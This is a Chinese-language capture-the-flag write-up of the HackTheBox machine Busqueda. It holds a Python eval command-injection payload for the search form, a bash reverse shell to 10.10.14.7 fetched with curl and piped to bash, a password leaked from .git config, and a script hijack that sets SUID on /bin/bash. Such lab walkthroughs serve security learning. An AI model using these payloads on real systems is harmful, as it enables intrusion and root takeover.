HTB-Busqueda
一、思路概要
1.信息收集发现命令注入;
2.命令注入反弹shell获取svc用户权限;
3.Git信息泄露密码;
4.sudo -l
发现可suid提权;
5.suid提权获取root权限。
二、信息收集
Nmap,先扫端口,后扫服务

开放端口:22(ssh)、80(http);域名:searcher.htb
添加域名解析记录到本地hosts文件
echo "10.10.11.208 searcher.htb" >> /etc/hosts
浏览器访问http://searcher.htb/
大致意思,是一个集成了多搜索引擎的搜索平台。
第一个框(Select your engine)是个下拉框,可选择各种搜索引擎;
第二个框(What do you want to search for)是想要搜索的内容;
此处尝试搜索引擎选择Apple,搜索内容为123
下面的选项Auto redirect
,不勾选,搜索时会返回如下格式的链接;勾选,会重定向到指定搜索引擎
另外页面底部,可看到Flask
框架和Searchor 2.4.0
,所以后端是Python
三、命令注入
搜索的同时用Burp抓包,测试发现query
字段可能有注入,如下两张图。Sqlmap尝试post注入,无果
看了一下Github上Searchor的介绍:https://github.com/ArjunSharda/Searchor
根据CLI(Command-Line Interface)命令,推测一下,post参数传到CLI时,拼接大概如下(此处用123'
和123"
测试,双引号时响应正常,单引号响应异常,所以参数值应该被单引号包裹)
searchor engine 'query' --copy
例:searchor Apple '123' --copy
想办法在query参数位注入想要执行的命令
参考:https://realpython.com/python-eval-function/
compile()函数语法:
compile() 用于将源代码编译为代码对象或AST模块对象。可以根据提供的模式使用exec()或eval()函数执行返回的代码对象,以构造代码对象。
语法:compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1)
source: 必选项,表示要编译的源代码,可以是字符串、文件或AST(Abstract Syntax Tree)对象。
filename: 可选项,表示编译代码的文件名,如果不是从文件中编译代码,传入 “<string>” 即可。
mode: 可选项,表示编译代码类型,可以取值为 “exec”(编译整个代码),“eval”(编译单个表达式)或“single”(编译单个语句)。
flags: 可选项,传入变量或位掩码,用于控制编译器的行为或特性。
dont_inherit: 可选项,表示是否继承sys.flags和sys.__optimizations__模块中相关选项的值。
optimize: 可选项,指定编译器的优化级别,若设置为-1,表示使用默认优化级别。
自己本地用python测试一下,如下
test = compile("import os\nos.system('id')","<String>","exec")
eval(test)
如图可以成功执行id
命令
那就尝试修改请求包,传递如下query值,执行id
命令(前面1'
和后面'
用于闭合,中间有空格的地方用加号连接。实际测试有没有加号都可以,但前后两个%2b
需要加,且用空格和%20替代行不通)
query=1'%2beval(compile("import+os\nos.system('id')",'<String>','exec'))%2b'
传到CLI后:
searchor Apple '1' eval(compile("import os\nos.system('id')",'<String>','exec')) '' --copy
可看到有三个地方展示了回显:响应头部Location
、响应内容<a>
标签href
值、响应内容<a>
标签文本。且当前用户是svc
再用如下语句执行ls
命令查看当前目录下内容
query=1'%2beval(compile("import+os\nos.system('ls')",'<String>','exec'))%2b'
有app.py
和templates
然后执行cat app.py
命令查看app.py
内容
query=1'%2beval(compile("import+os\nos.system('cat+app.py')",'<String>','exec'))%2b'
URL解码得如下代码,从代码中也可以看到post传参的逻辑
from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html', options=Engine.__members__, error='')
@app.route('/search', methods=['POST'])
def search():
try:
engine = request.form.get('engine')
query = request.form.get('query')
auto_redirect = request.form.get('auto_redirect')
if engine in Engine.__members__.keys():
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True)
url = r.stdout.strip().decode()
if auto_redirect is not None:
return redirect(url, code=302)
else:
return url
else:
return render_template('index.html', options=Engine.__members__, error="Invalid engine!")
except Exception as e:
print(e)
return render_template('index.html', options=Engine.__members__, error="Something went wrong!")
if __name__ == '__main__':
app.run(debug=False)
接下来尝试反弹shell
攻击机开启nc监听和http服务
nc -lvnp 9898
python3 -m http.server 80
攻击机新建一个反弹shell文件rev_shell.txt
,内容如下
bash -i >& /dev/tcp/10.10.14.7/9898 0>&1
Burp修改请求包query参数如下
query=1'%2beval(compile("import+os\nos.system('curl+10.10.14.7/rev_shell.txt|bash')",'<String>','exec'))%2b'
发送请求包,成功反弹shell,获取svc用户权限
四、Git信息泄露
查看当前目录下文件,看到有.git
,尝试git-dump和Githack下载失败,只能硬看
看到config
文件里有用户名密码
cody:jh1usoih2bkjaspwe92
PS:后面的gitea.searcher.htb
是个子域,加进hosts文件看了一眼,是个类似git仓库的东西,有两个用户cody
和administrator
,估计也是一条路线,但没过多尝试
五、SUID提权
在svc用户尝试执行sudo -l
,发现提示需要-S
参数输入密码
执行sudo -l -S
,尝试密码,是上面cody的密码(PS:在HackTheBox遇见好几次这种张冠李戴的事…)
可看到有一条命令可以以root身份执行,sudo执行该命令
sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
提示三个用法,前两个是查看docker容器的相关信息,用处不大,第三个尝试会报错,如下
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
想看一下/opt/scripts/system-checkup.py
,没权限,就用find
命令模糊查找full-checkup
,发现有/opt/scripts/full-checkup.sh
,但svc用户没有可写权限没法更改,那就尝试在当前目录/home/svc
新建一个同名文件
靶机shell环境不方便编辑文件,我们在攻击机创建full-checkup.sh
,内容如下
#!/bin/bash
chmod +s /bin/bash
然后在靶机用wget
把full-checkup.sh
传过来,并添加可执行权限(注意需在/home/svc
目录下操作,别的目录无可写权限)
wget http://10.10.14.7/full-checkup.sh
chmod +x full-checkup.sh
再次执行full-checkup
选项,可看到/bin/bash
已成功设置suid
执行bash -p
成功获取root权限
Over!
